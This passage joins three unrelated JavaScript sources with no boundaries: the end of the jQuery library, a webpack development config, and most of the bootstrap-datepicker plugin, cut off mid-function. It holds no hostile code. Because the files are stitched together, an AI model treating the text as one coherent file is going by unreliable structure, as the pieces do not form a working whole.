getWindow( elem ) { return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView; } // Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods jQuery.each( { Height: "height", Width: "width" }, function( name, type ) { jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) { // margin is only for outerHeight, outerWidth jQuery.fn[ funcName ] = function( margin, value ) { var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ), extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" ); return jQuery.access( this, function( elem, type, value ) { var doc; if ( jQuery.isWindow( elem ) ) { // As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there // isn't a whole lot we can do. See pull request at this URL for discussion: // https://github.com/jquery/jquery/pull/764 return elem.document.documentElement[ "client" + name ]; } // Get document width or height if ( elem.nodeType === 9 ) { doc = elem.documentElement; // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], // whichever is greatest return Math.max( elem.body[ "scroll" + name ], doc[ "scroll" + name ], elem.body[ "offset" + name ], doc[ "offset" + name ], doc[ "client" + name ] ); } return value === undefined ? // Get width or height on the element, requesting but not forcing parseFloat jQuery.css( elem, type, extra ) : // Set width or height on the element jQuery.style( elem, type, value, extra ); }, type, chainable ? margin : undefined, chainable, null ); }; }); }); if ( typeof module === "object" && module && typeof module.exports === "object" ) { // Expose jQuery as module.exports in loaders that implement the Node // module pattern (including browserify). Do not create the global, since // the user will be storing it themselves locally, and globals are frowned // upon in the Node module world. module.exports = jQuery; } else { // Register as a named AMD module, since jQuery can be concatenated with other // files that may use define, but not via a proper concatenation script that // understands anonymous AMD modules. A named AMD is safest and most robust // way to register. Lowercase jquery is used because AMD module names are // derived from file names, and jQuery is normally delivered in a lowercase // file name. Do this after creating the global so that if an AMD module wants // to call noConflict to hide this version of jQuery, it will work. if ( typeof define === "function" && define.amd ) { define( "jquery", [], function () { return jQuery; } ); } } // If there is a window object, that at least has a document property, // define jQuery and $ identifiers if ( typeof window === "object" && typeof window.document === "object" ) { window.jQuery = window.$ = jQuery; } })( window );
const path = require("path"); const merge = require("webpack-merge"); const common = require("./webpack.config.common.js"); const webpack = require("webpack"); const HtmlWebpackPlugin = require("html-webpack-plugin"); module.exports = merge(common, { devtool: "cheap-module-eval-source-map", mode: "development", entry: { index: "./example/src/index.js" }, output: { filename: "js/[name].[hash:8].bundle.js", path: path.resolve(__dirname, "../dist") }, devServer: { contentBase: path.resolve(__dirname, "dist"), open: true, port: 9000, compress: true, hot: true }, module: { rules: [ { test: /\.(css|less)$/, use: ["style-loader", "css-loader", "postcss-loader", "less-loader"] } ] }, plugins: [ new HtmlWebpackPlugin({ template: "example/src/index.html", inject: "body", hash: false }), new webpack.HotModuleReplacementPlugin() ] });
/* ========================================================= * bootstrap-datepicker.js * Repo: https://github.com/eternicode/bootstrap-datepicker/ * Demo: eternicode.github.io/bootstrap-datepicker/ * Docs: bootstrap-datepicker.readthedocs.org/ * Forked from www.eyecon.ro/bootstrap-datepicker * ========================================================= * Started by Stefan Petre; improvements by Andrew Rowls + contributors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ========================================================= */ (function($, undefined){ var $window = $(window); function UTCDate(){ return new Date(Date.UTC.apply(Date, arguments)); } function UTCToday(){ var today = new Date(); return UTCDate(today.getFullYear(), today.getMonth(), today.getDate()); } function alias(method){ return function(){ return this[method].apply(this, arguments); }; } var DateArray = (function(){ var extras = { get: function(i){ return this.slice(i)[0]; }, contains: function(d){ // Array.indexOf is not cross-browser; // $.inArray doesn't work with Dates var val = d && d.valueOf(); for (var i=0, l=this.length; i < l; i++) if (this[i].valueOf() === val) return i; return -1; }, remove: function(i){ this.splice(i,1); }, replace: function(new_array){ if (!new_array) return; if (!$.isArray(new_array)) new_array = [new_array]; this.clear(); this.push.apply(this, new_array); }, clear: function(){ this.splice(0); }, copy: function(){ var a = new DateArray(); a.replace(this); return a; } }; return function(){ var a = []; a.push.apply(a, arguments); $.extend(a, extras); return a; }; })(); // Picker object var Datepicker = function(element, options){ this.dates = new DateArray(); this.viewDate = UTCToday(); this.focusDate = null; this._process_options(options); this.element = $(element); this.isInline = false; this.isInput = this.element.is('input'); this.component = this.element.is('.date') ? this.element.find('.add-on, .input-group-addon, .btn') : false; this.hasInput = this.component && this.element.find('input').length; if (this.component && this.component.length === 0) this.component = false; this.picker = $(DPGlobal.template); this._buildEvents(); this._attachEvents(); if (this.isInline){ this.picker.addClass('datepicker-inline').appendTo(this.element); } else { this.picker.addClass('datepicker-dropdown dropdown-menu'); } if (this.o.rtl){ this.picker.addClass('datepicker-rtl'); } this.viewMode = this.o.startView; if (this.o.calendarWeeks) this.picker.find('tfoot th.today') .attr('colspan', function(i, val){ return parseInt(val) + 1; }); this._allow_update = false; this.setStartDate(this._o.startDate); this.setEndDate(this._o.endDate); this.setDaysOfWeekDisabled(this.o.daysOfWeekDisabled); this.fillDow(); this.fillMonths(); this._allow_update = true; this.update(); this.showMode(); if (this.isInline){ this.show(); } }; Datepicker.prototype = { constructor: Datepicker, _process_options: function(opts){ // Store raw options for reference this._o = $.extend({}, this._o, opts); // Processed options var o = this.o = $.extend({}, this._o); // Check if "de-DE" style date is available, if not language should // fallback to 2 letter code eg "de" var lang = o.language; if (!dates[lang]){ lang = lang.split('-')[0]; if (!dates[lang]) lang = defaults.language; } o.language = lang; switch (o.startView){ case 2: case 'decade': o.startView = 2; break; case 1: case 'year': o.startView = 1; break; default: o.startView = 0; } switch (o.minViewMode){ case 1: case 'months': o.minViewMode = 1; break; case 2: case 'years': o.minViewMode = 2; break; default: o.minViewMode = 0; } o.startView = Math.max(o.startView, o.minViewMode); // true, false, or Number > 0 if (o.multidate !== true){ o.multidate = Number(o.multidate) || false; if (o.multidate !== false) o.multidate = Math.max(0, o.multidate); else o.multidate = 1; } o.multidateSeparator = String(o.multidateSeparator); o.weekStart %= 7; o.weekEnd = ((o.weekStart + 6) % 7); var format = DPGlobal.parseFormat(o.format); if (o.startDate !== -Infinity){ if (!!o.startDate){ if (o.startDate instanceof Date) o.startDate = this._local_to_utc(this._zero_time(o.startDate)); else o.startDate = DPGlobal.parseDate(o.startDate, format, o.language); } else { o.startDate = -Infinity; } } if (o.endDate !== Infinity){ if (!!o.endDate){ if (o.endDate instanceof Date) o.endDate = this._local_to_utc(this._zero_time(o.endDate)); else o.endDate = DPGlobal.parseDate(o.endDate, format, o.language); } else { o.endDate = Infinity; } } o.daysOfWeekDisabled = o.daysOfWeekDisabled||[]; if (!$.isArray(o.daysOfWeekDisabled)) o.daysOfWeekDisabled = o.daysOfWeekDisabled.split(/[,\s]*/); o.daysOfWeekDisabled = $.map(o.daysOfWeekDisabled, function(d){ return parseInt(d, 10); }); var plc = String(o.orientation).toLowerCase().split(/\s+/g), _plc = o.orientation.toLowerCase(); plc = $.grep(plc, function(word){ return (/^auto|left|right|top|bottom$/).test(word); }); o.orientation = {x: 'auto', y: 'auto'}; if (!_plc || _plc === 'auto') ; // no action else if (plc.length === 1){ switch (plc[0]){ case 'top': case 'bottom': o.orientation.y = plc[0]; break; case 'left': case 'right': o.orientation.x = plc[0]; break; } } else { _plc = $.grep(plc, function(word){ return (/^left|right$/).test(word); }); o.orientation.x = _plc[0] || 'auto'; _plc = $.grep(plc, function(word){ return (/^top|bottom$/).test(word); }); o.orientation.y = _plc[0] || 'auto'; } }, _events: [], _secondaryEvents: [], _applyEvents: function(evs){ for (var i=0, el, ch, ev; i < evs.length; i++){ el = evs[i][0]; if (evs[i].length === 2){ ch = undefined; ev = evs[i][1]; } else if (evs[i].length === 3){ ch = evs[i][1]; ev = evs[i][2]; } el.on(ev, ch); } }, _unapplyEvents: function(evs){ for (var i=0, el, ev, ch; i < evs.length; i++){ el = evs[i][0]; if (evs[i].length === 2){ ch = undefined; ev = evs[i][1]; } else if (evs[i].length === 3){ ch = evs[i][1]; ev = evs[i][2]; } el.off(ev, ch); } }, _buildEvents: function(){ if (this.isInput){ // single input this._events = [ [this.element, { focus: $.proxy(this.show, this), keyup: $.proxy(function(e){ if ($.inArray(e.keyCode, [27,37,39,38,40,32,13,9]) === -1) this.update(); }, this), keydown: $.proxy(this.keydown, this) }] ]; } else if (this.component && this.hasInput){ // component: input + button this._events = [ // For components that are not readonly, allow keyboard nav [this.element.find('input'), { focus: $.proxy(this.show, this), keyup: $.proxy(function(e){ if ($.inArray(e.keyCode, [27,37,39,38,40,32,13,9]) === -1) this.update(); }, this), keydown: $.proxy(this.keydown, this) }], [this.component, { click: $.proxy(this.show, this) }] ]; } else if (this.element.is('div')){ // inline datepicker this.isInline = true; } else { this._events = [ [this.element, { click: $.proxy(this.show, this) }] ]; } this._events.push( // Component: listen for blur on element descendants [this.element, '*', { blur: $.proxy(function(e){ this._focused_from = e.target; }, this) }], // Input: listen for blur on element [this.element, { blur: $.proxy(function(e){ this._focused_from = e.target; }, this) }] ); this._secondaryEvents = [ [this.picker, { click: $.proxy(this.click, this) }], [$(window), { resize: $.proxy(this.place, this) }], [$(document), { 'mousedown touchstart': $.proxy(function(e){ // Clicked outside the datepicker, hide it if (!( this.element.is(e.target) || this.element.find(e.target).length || this.picker.is(e.target) || this.picker.find(e.target).length )){ this.hide(); } }, this) }] ]; }, _attachEvents: function(){ this._detachEvents(); this._applyEvents(this._events); }, _detachEvents: function(){ this._unapplyEvents(this._events); }, _attachSecondaryEvents: function(){ this._detachSecondaryEvents(); this._applyEvents(this._secondaryEvents); }, _detachSecondaryEvents: function(){ this._unapplyEvents(this._secondaryEvents); }, _trigger: function(event, altdate){ var date = altdate || this.dates.get(-1), local_date = this._utc_to_local(date); this.element.trigger({ type: event, date: local_date, dates: $.map(this.dates, this._utc_to_local), format: $.proxy(function(ix, format){ if (arguments.length === 0){ ix = this.dates.length - 1; format = this.o.format; } else if (typeof ix === 'string'){ format = ix; ix = this.dates.length - 1; } format = format || this.o.format; var date = this.dates.get(ix); return DPGlobal.formatDate(date, format, this.o.language); }, this) }); }, show: function(){ if (!this.isInline) this.picker.appendTo('body'); this.picker.show(); this.place(); this._attachSecondaryEvents(); this._trigger('show'); }, hide: function(){ if (this.isInline) return; if (!this.picker.is(':visible')) return; this.focusDate = null; this.picker.hide().detach(); this._detachSecondaryEvents(); this.viewMode = this.o.startView; this.showMode(); if ( this.o.forceParse && ( this.isInput && this.element.val() || this.hasInput && this.element.find('input').val() ) ) this.setValue(); this._trigger('hide'); }, remove: function(){ this.hide(); this._detachEvents(); this._detachSecondaryEvents(); this.picker.remove(); delete this.element.data().datepicker; if (!this.isInput){ delete this.element.data().date; } }, _utc_to_local: function(utc){ return utc && new Date(utc.getTime() + (utc.getTimezoneOffset()*60000)); }, _local_to_utc: function(local){ return local && new Date(local.getTime() - (local.getTimezoneOffset()*60000)); }, _zero_time: function(local){ return local && new Date(local.getFullYear(), local.getMonth(), local.getDate()); }, _zero_utc_time: function(utc){ return utc && new Date(Date.UTC(utc.getUTCFullYear(), utc.getUTCMonth(), utc.getUTCDate())); }, getDates: function(){ return $.map(this.dates, this._utc_to_local); }, getUTCDates: function(){ return $.map(this.dates, function(d){ return new Date(d); }); }, getDate: function(){ return this._utc_to_local(this.getUTCDate()); }, getUTCDate: function(){ return new Date(this.dates.get(-1)); }, setDates: function(){ var args = $.isArray(arguments[0]) ? arguments[0] : arguments; this.update.apply(this, args); this._trigger('changeDate'); this.setValue(); }, setUTCDates: function(){ var args = $.isArray(arguments[0]) ? arguments[0] : arguments; this.update.apply(this, $.map(args, this._utc_to_local)); this._trigger('changeDate'); this.setValue(); }, setDate: alias('setDates'), setUTCDate: alias('setUTCDates'), setValue: function(){ var formatted = this.getFormattedDate(); if (!this.isInput){ if (this.component){ this.element.find('input').val(formatted).change(); } } else { this.element.val(formatted).change(); } }, getFormattedDate: function(format){ if (format === undefined) format = this.o.format; var lang = this.o.language; return $.map(this.dates, function(d){ return DPGlobal.formatDate(d, format, lang); }).join(this.o.multidateSeparator); }, setStartDate: function(startDate){ this._process_options({startDate: startDate}); this.update(); this.updateNavArrows(); }, setEndDate: function(endDate){ this._process_options({endDate: endDate}); this.update(); this.updateNavArrows(); }, setDaysOfWeekDisabled: function(daysOfWeekDisabled){ this._process_options({daysOfWeekDisabled: daysOfWeekDisabled}); this.update(); this.updateNavArrows(); }, place: function(){ if (this.isInline) return; var calendarWidth = this.picker.outerWidth(), calendarHeight = this.picker.outerHeight(), visualPadding = 10, windowWidth = $window.width(), windowHeight = $window.height(), scrollTop = $window.scrollTop(); var zIndex = parseInt(this.element.parents().filter(function(){ return $(this).css('z-index') !== 'auto'; }).first().css('z-index'))+10; var offset = this.component ? this.component.parent().offset() : this.element.offset(); var height = this.component ? this.component.outerHeight(true) : this.element.outerHeight(false); var width = this.component ? this.component.outerWidth(true) : this.element.outerWidth(false); var left = offset.left, top = offset.top; this.picker.removeClass( 'datepicker-orient-top datepicker-orient-bottom '+ 'datepicker-orient-right datepicker-orient-left' ); if (this.o.orientation.x !== 'auto'){ this.picker.addClass('datepicker-orient-' + this.o.orientation.x); if (this.o.orientation.x === 'right') left -= calendarWidth - width; } // auto x orientation is best-placement: if it crosses a window // edge, fudge it sideways else { // Default to left this.picker.addClass('datepicker-orient-left'); if (offset.left < 0) left -= offset.left - visualPadding; else if (offset.left + calendarWidth > windowWidth) left = windowWidth - calendarWidth - visualPadding; } // auto y orientation is best-situation: top or bottom, no fudging, // decision based on which shows more of the calendar var yorient = this.o.orientation.y, top_overflow, bottom_overflow; if (yorient === 'auto'){ top_overflow = -scrollTop + offset.top - calendarHeight; bottom_overflow = scrollTop + windowHeight - (offset.top + height + calendarHeight); if (Math.max(top_overflow, bottom_overflow) === bottom_overflow) yorient = 'top'; else yorient = 'bottom'; } this.picker.addClass('datepicker-orient-' + yorient); if (yorient === 'top') top += height; else top -= calendarHeight + parseInt(this.picker.css('padding-top')); this.picker.css({ top: top, left: left, zIndex: zIndex }); }, _allow_update: true, update: function(){ if (!this._allow_update) return; var oldDates = this.dates.copy(), dates = [], fromArgs = false; if (arguments.length){ $.each(arguments, $.proxy(function(i, date){ if (date instanceof Date) date = this._local_to_utc(date); dates.push(date); }, this)); fromArgs = true; } else { dates = this.isInput ? this.element.val() : this.element.data('date') || this.element.find('input').val(); if (dates && this.o.multidate) dates = dates.split(this.o.multidateSeparator); else dates = [dates]; delete this.element.data().date; } dates = $.map(dates, $.proxy(function(date){ return DPGlobal.parseDate(date, this.o.format, this.o.language); }, this)); dates = $.grep(dates, $.proxy(function(date){ return ( date < this.o.startDate || date > this.o.endDate || !date ); }, this), true); this.dates.replace(dates); if (this.dates.length) this.viewDate = new Date(this.dates.get(-1)); else if (this.viewDate < this.o.startDate) this.viewDate = new Date(this.o.startDate); else if (this.viewDate > this.o.endDate) this.viewDate = new Date(this.o.endDate); if (fromArgs){ // setting date by clicking this.setValue(); } else if (dates.length){ // setting date by typing if (String(oldDates) !== String(this.dates)) this._trigger('changeDate'); } if (!this.dates.length && oldDates.length) this._trigger('clearDate'); this.fill(); }, fillDow: function(){ var dowCnt = this.o.weekStart, html = '<tr>'; if (this.o.calendarWeeks){ var cell = '<th class="cw">&nbsp;</th>'; html += cell; this.picker.find('.datepicker-days thead tr:first-child').prepend(cell); } while (dowCnt < this.o.weekStart + 7){ html += '<th class="dow">'+dates[this.o.language].daysMin[(dowCnt++)%7]+'</th>'; } html += '</tr>'; this.picker.find('.datepicker-days thead').append(html); }, fillMonths: function(){ var html = '', i = 0; while (i < 12){ html += '<span class="month">'+dates[this.o.language].monthsShort[i++]+'</span>'; } this.picker.find('.datepicker-months td').html(html); }, setRange: function(range){ if (!range || !range.length) delete this.range; else this.range = $.map(range, function(d){ return d.valueOf(); }); this.fill(); }, getClassNames: function(date){ var cls = [], year = this.viewDate.getUTCFullYear(), month = this.viewDate.getUTCMonth(), today = new Date(); if (date.getUTCFullYear() < year || (date.getUTCFullYear() === year && date.getUTCMonth() < month)){ cls.push('old'); } else if (date.getUTCFullYear() > year || (date.getUTCFullYear() === year && date.getUTCMonth() > month)){ cls.push('new'); } if (this.focusDate && date.valueOf() === this.focusDate.valueOf()) cls.push('focused'); // Compare internal UTC date with local today, not UTC today if (this.o.todayHighlight && date.getUTCFullYear() === today.getFullYear() && date.getUTCMonth() === today.getMonth() && date.getUTCDate() === today.getDate()){ cls.push('today'); } if (this.dates.contains(date) !== -1) cls.push('active'); if (date.valueOf() < this.o.startDate || date.valueOf() > this.o.endDate || $.inArray(date.getUTCDay(), this.o.daysOfWeekDisabled) !== -1){ cls.push('disabled'); } if (this.range){ if (date > this.range[0] && date < this.range[this.range.length-1]){ cls.push('range'); } if ($.inArray(date.valueOf(), this.range) !== -1){ cls.push('selected'); } } return cls; }, fill: function(){ var d = new Date(this.viewDate), year = d.getUTCFullYear(), month = d.getUTCMonth(), startYear = this.o.startDate !== -Infinity ? this.o.startDate.getUTCFullYear() : -Infinity, startMonth = this.o.startDate !== -Infinity ? this.o.startDate.getUTCMonth() : -Infinity, endYear = this.o.endDate !== Infinity ? this.o.endDate.getUTCFullYear() : Infinity, endMonth = this.o.endDate !== Infinity ? this.o.endDate.getUTCMonth() : Infinity, todaytxt = dates[this.o.language].today || dates['en'].today || '', cleartxt = dates[this.o.language].clear || dates['en'].clear || '', tooltip; this.picker.find('.datepicker-days thead th.datepicker-switch') .text(dates[this.o.language].months[month]+' '+year); this.picker.find('tfoot th.today') .text(todaytxt) .toggle(this.o.todayBtn !== false); this.picker.find('tfoot th.clear') .text(cleartxt) .toggle(this.o.clearBtn !== false); this.updateNavArrows(); this.fillMonths(); var prevMonth = UTCDate(year, month-1, 28), day = DPGlobal.getDaysInMonth(prevMonth.getUTCFullYear(), prevMonth.getUTCMonth()); prevMonth.setUTCDate(day); prevMonth.setUTCDate(day - (prevMonth.getUTCDay() - this.o.weekStart + 7)%7); var nextMonth = new Date(prevMonth); nextMonth.setUTCDate(nextMonth.getUTCDate() + 42); nextMonth = nextMonth.valueOf(); var html = []; var clsName; while (prevMonth.valueOf() < nextMonth){ if (prevMonth.getUTCDay() === this.o.weekStart){ html.push('<tr>'); if (this.o.calendarWeeks){ // ISO 8601: First week contains first thursday. // ISO also states week starts on Monday, but we can be more abstract here. var // Start of current week: based on weekstart/current date ws = new Date(+prevMonth + (this.o.weekStart - prevMonth.getUTCDay() - 7) % 7 * 864e5), // Thursday of this week th = new Date(Number(ws) + (7 + 4 - ws.getUTCDay()) % 7 * 864e5), // First Thursday of year, year from thursday yth = new Date(Number(yth = UTCDate(th.getUTCFullYear(), 0, 1)) + (7 + 4 - yth.getUTCDay())%7*864e5), // Calendar week: ms between thursdays, div ms per day, div 7 days calWeek = (th - yth) / 864e5 / 7 + 1; html.push('<td class="cw">'+ calWeek +'</td>'); } } clsName = this.getClassNames(prevMonth); clsName.push('day'); if (this.o.beforeShowDay !== $.noop){ var before = this.o.beforeShowDay(this._utc_to_local(prevMonth)); if (before === undefined) before = {}; else if (typeof(before) === 'boolean') before = {enabled: before}; else if (typeof(before) === 'string') before = {classes: before}; if (before.enabled === false) clsName.push('disabled'); if (before.classes) clsName = clsName.concat(before.classes.split(/\s+/)); if (before.tooltip) tooltip = before.tooltip; } clsName = $.unique(clsName); html.push('<td class="'+clsName.join(' ')+'"' + (tooltip ? ' title="'+tooltip+'"' : '') + '>'+prevMonth.getUTCDate() + '</td>'); if (prevMonth.getUTCDay() === this.o.weekEnd){ html.push('</tr>'); } prevMonth.setUTCDate(prevMonth.getUTCDate()+1); } this.picker.find('.datepicker-days tbody').empty().append(html.join('')); var months = this.picker.find('.datepicker-months') .find('th:eq(1)') .text(year) .end() .find('span').removeClass('active'); $.each(this.dates, function(i, d){ if (d.getUTCFullYear() === year) months.eq(d.getUTCMonth()).addClass('active'); }); if (year < startYear || year > endYear){ months.addClass('disabled'); } if (year === startYear){ months.slice(0, startMonth).addClass('disabled'); } if (year === endYear){ months.slice(endMonth+1).addClass('disabled'); } html = ''; year = parseInt(year/10, 10) * 10; var yearCont = this.picker.find('.datepicker-years') .find('th:eq(1)') .text(year + '-' + (year + 9)) .end() .find('td'); year -= 1; var years = $.map(this.dates, function(d){ return d.getUTCFullYear(); }), classes; for (var i = -1; i < 11; i++){ classes = ['year']; if (i === -1) classes.push('old'); else if (i === 10) classes.push('new'); if ($.inArray(year, years) !== -1) classes.push('active'); if (year < startYear || year > endYear) classes.push('disabled'); html += '<span class="' + classes.join(' ') + '">'+year+'</span>'; year += 1; } yearCont.html(html); }, updateNavArrows: function(){ if (!this._allow_update) return; var d = new Date(this.viewDate), year = d.getUTCFullYear(), month = d.getUTCMonth(); switch (this.viewMode){ case 0: if (this.o.startDate !== -Infinity && year <= this.o.startDate.getUTCFullYear() && month <= this.o.startDate.getUTCMonth()){ this.picker.find('.prev').css({visibility: 'hidden'}); } else { this.picker.find('.prev').css({visibility: 'visible'}); } if (this.o.endDate !== Infinity && year >= this.o.endDate.getUTCFullYear() && month >= this.o.endDate.getUTCMonth()){ this.picker.find('.next').css({visibility: 'hidden'}); } else { this.picker.find('.next').css({visibility: 'visible'}); } break; case 1: case 2: if (this.o.startDate !== -Infinity && year <= this.o.startDate.getUTCFullYear()){ this.picker.find('.prev').css({visibility: 'hidden'}); } else { this.picker.find('.prev').css({visibility: 'visible'}); } if (this.o.endDate !== Infinity && year >= this.o.endDate.getUTCFullYear()){ this.picker.find('.next').css({visibility: 'hidden'}); } else { this.picker.find('.next').css({visibility: 'visible'}); } break; } }, click: function(e){ e.preventDefault(); var target = $(e.target).closest('span, td, th'), year, month, day; if (target.length === 1){ switch (target[0].nodeName.toLowerCase()){ case 'th': switch (target[0].className){ case 'datepicker-switch': this.showMode(1); break; case 'prev': case 'next': var dir = DPGlobal.modes[this.viewMode].navStep * (target[0].className === 'prev' ? -1 : 1); switch (this.viewMode){ case 0: this.viewDate = this.moveMonth(this.viewDate, dir); this._trigger('changeMonth', this.viewDate); break; case 1: case 2: this.viewDate = this.moveYear(this.viewDate, dir); if (this.viewMode === 1) this._trigger('changeYear', this.viewDate); break; } this.fill(); break; case 'today': var date = new Date(); date = UTCDate(date.getFullYear(), date.getMonth(), date.getDate(), 0, 0, 0); this.showMode(-2); var which = this.o.todayBtn === 'linked' ? null : 'view'; this._setDate(date, which); break; case 'clear': var element; if (this.isInput) element = this.element; else if (this.component) element = this.element.find('input'); if (element) element.val("").change(); this.update(); this._trigger('changeDate'); if (this.o.autoclose) this.hide(); break; } break; case 'span': if (!target.is('.disabled')){ this.viewDate.setUTCDate(1); if (target.is('.month')){ day = 1; month = target.parent().find('span').index(target); year = this.viewDate.getUTCFullYear(); this.viewDate.setUTCMonth(month); this._trigger('changeMonth', this.viewDate); if (this.o.minViewMode === 1){ this._setDate(UTCDate(year, month, day)); } } else { day = 1; month = 0; year = parseInt(target.text(), 10)||0; this.viewDate.setUTCFullYear(year); this._trigger('changeYear', this.viewDate); if (this.o.minViewMode === 2){ this._setDate(UTCDate(year, month, day)); } } this.showMode(-1); this.fill(); } break; case 'td': if (target.is('.day') && !target.is('.disabled')){ day = parseInt(target.text(), 10)||1; year = this.viewDate.getUTCFullYear(); month = this.viewDate.getUTCMonth(); if (target.is('.old')){ if (month === 0){ month = 11; year -= 1; } else { month -= 1; } } else if (target.is('.new')){ if (month === 11){ month = 0; year += 1; } else { month += 1; } } this._setDate(UTCDate(year, month, day)); } break; } } if (this.picker.is(':visible') && this._focused_from){ $(this._focused_from).focus(); } delete this._focused_from; }, _toggle_multidate: function(date){ var ix = this.dates.contains(date); if (!date){ this.dates.clear(); } else if (ix !== -1){ this.dates.remove(ix); } else { this.dates.push(date); } if (typeof this.o.multidate === 'number') while (this.dates.length > this.o.multidate) this.dates.remove(0); }, _setDate: function(date, which){ if (!which || which === 'date') this._toggle_multidate(date && new Date(date)); if (!which || which === 'view') this.viewDate = date && new Date(date); this.fill(); this.setValue(); this._trigger('changeDate'); var element; if (this.isInput){ element = this.element; } else if (this.component){ element = this.element.find('input'); } if (element){ element.change(); } if (this.o.autoclose && (!which || which === 'date')){ this.hide(); } }, moveMonth: function(date, dir){ if (!date) return undefined; if (!dir) return date; var new_date = new Date(date.valueOf()), day = new_date.getUTCDate(), month = new_date.getUTCMonth(), mag = Math.abs(dir), new_month, test; dir = dir > 0 ? 1 : -1; if (mag === 1){ test = dir === -1 // If going back one month, make sure month is not current month // (eg, Mar 31 -> Feb 31 == Feb 28, not Mar 02) ? function(){ return new_date.getUTCMonth() === month; } // If going forward one month, make sure month is as expected // (eg, Jan 31 -> Feb 31 == Feb 28, not Mar 02) : function(){ return new_date.getUTCMonth() !== new_month; }; new_month = month + dir; new_date.setUTCMonth(new_month); // Dec -> Jan (12) or Jan -> Dec (-1) -- limit expected date to 0-11 if (new_month < 0 || new_month > 11) new_month = (new_month + 12) % 12; } else { // For magnitudes >1, move one month at a time... for (var i=0; i < mag; i++) // ...which might decrease the day (eg, Jan 31 to Feb 28, etc)... new_date = this.moveMonth(new_date, dir); // ...then reset the day, keeping it in the new month new_month = new_date.getUTCMonth(); new_date.setUTCDate(day); test = function(){ return new_month !== new_date.getUTCMonth(); }; } // Common date-resetting loop -- if date is beyond end of month, make it // end of month while (test()){ new_date.setUTCDate(--day); new_date.setUTCMonth(new_month); } return new_date; }, moveYear: function(date, dir){ return this.moveMonth(date, dir*12); }, dateWithinRange: function(date){ return date >= this.o.startDate && date <= this.o.endDate; }, keydown: function(e){ if (this.picker.is(':not(:visible)')){ if (e.keyCode === 27) // allow escape to hide and re-show picker this.show(); return; } var dateChanged = false, dir, newDate, newViewDate, focusDate = this.focusDate || this.viewDate; switch (e.keyCode){ case 27: // escape if (this.focusDate){ this.focusDate = null; this.viewDate = this.dates.get(-1) || this.viewDate; this.fill(); } else this.hide(); e.preventDefault(); break; case 37: // left case 39: // right if (!this.o.keyboardNavigation) break; dir = e.keyCode === 37 ? -1 : 1; if (e.ctrlKey){ newDate = this.moveYear(this.dates.get(-1) || UTCToday(), dir); newViewDate = this.moveYear(focusDate, dir); this._trigger('changeYear', this.viewDate); } else if (e.shiftKey){ newDate = this.moveMonth(this.dates.get(-1) || UTCToday(), dir); newViewDate = this.moveMonth(focusDate, dir); this._trigger('changeMonth', this.viewDate); } else { newDate = new Date(this.dates.get(-1) || UTCToday()); newDate.setUTCDate(newDate.getUTCDate() + dir); newViewDate = new Date(focusDate); newViewDate.setUTCDate(focusDate.getUTCDate() + dir); } if (this.dateWithinRange(newDate)){ this.focusDate = this.viewDate = newViewDate; this.setValue(); this.fill(); e.preventDefault(); } break; case 38: // up case 40: // down if (!this.o.keyboardNavigation) break; dir = e.keyCode === 38 ? -1 : 1; if (e.ctrlKey){ newDate = this.moveYear(this.dates.get(-1) || UTCToday(), dir); newViewDate = this.moveYear(focusDate, dir); this._trigger('changeYear', this.viewDate); } else if (e.shiftKey){ newDate = this.moveMonth(this.dates.get(-1) || UTCToday(), dir); newViewDate = this.moveMonth(focusDate, dir); this._trigger('changeMonth', this.viewDate); } else { newDate = new Date(this.dates.get(-1) || UTCToday()); newDate.setUTCDate(newDate.getUTCDate() + dir * 7); newViewDate = new Date(focusDate); newViewDate.setUTCDate(focusDate.getUTCDate() + dir * 7); } if (this.dateWithinRange(newDate)){ this.focusDate = this.viewDate = newViewDate; this.setValue(); this.fill(); e.preventDefault(); } break; case 32: // spacebar // Spacebar is used in manually typing dates in some formats. // As such, its behavior should not be hijacked. break; case 13: // enter focusDate = this.focusDate || this.dates.get(-1) || this.viewDate; this._toggle_multidate(focusDate); dateChanged = true; this.focusDate = null; this.viewDate = this.dates.get(-1) || this.viewDate; this.setValue(); this.fill(); if (this.picker.is(':visible')){ e.preventDefault(); if (this.o.autoclose) this.hide(); } break; case 9: // tab this.focusDate = null; this.viewDate = this.dates.get(-1) || this.viewDate; this.fill(); this.hide(); break; } if (dateChanged){ if (this.dates.length) this._trigger('changeDate'); else this._trigger('clearDate'); var element; if (this.isInput){ element = this.element; } else if (this.component){ element = this.element.find('input'); } if (element){ element.change(); } } }, showMode: function(dir){ if (dir){ this.viewMode = Math.max(this.o.minViewMode, Math.min(2, this.viewMode + dir)); } this.picker .find('>div') .hide() .filter('.datepicker-'+DPGlobal.modes[this.viewMode].clsName) .css('display', 'block'); this.updateNavArrows(); } }; var DateRangePicker = function(element, options){ this.element = $(element); this.inputs = $.map(options.inputs, function(i){ return i.jquery ? i[0] : i; }); delete options.inputs; $(this.inputs) .datepicker(options) .bind('changeDate', $.proxy(this.dateUpdated, this)); this.pickers = $.map(this.inputs, function(i){ return $(i).data('datepicker'); }); this.updateDates(); }; DateRangePicker.prototype = { updateDates: function(){ this.dates = $.map(this.pickers, function(i){ return i.getUTCDate(); }); this.updateRanges(); }, updateRanges: function(){ var range = $.map(this.dates, function(d){ return d.valueOf(); }); $.each(this.pickers, function(i, p){ p.setRange(range); }); }, dateUpdated: function(e){ // `this.updating` is a workaround for preventing infinite recursion // between `changeDate` triggering and `setUTCDate` calling. Until // there is a better mechanism. if (this.updating) return; this.updating = true; var dp = $(e.target).data('datepicker'), new_date = dp.getUTCDate(), i = $.inArray(e.target, this.inputs), l = this.inputs.length; if (i === -1) return; $.each(this.pickers, function(i, p){ if (!p.getUTCDate()) p.setUTCDate(new_date); }); if (new_date < this.dates[i]){ // Date being moved earlier/left while (i >= 0 && new_date < this.dates[i]){ this.pickers[i--].setUTCDate(new_date); } } else if (new_date > this.dates[i]){ // Date being moved later/right while (i < l && 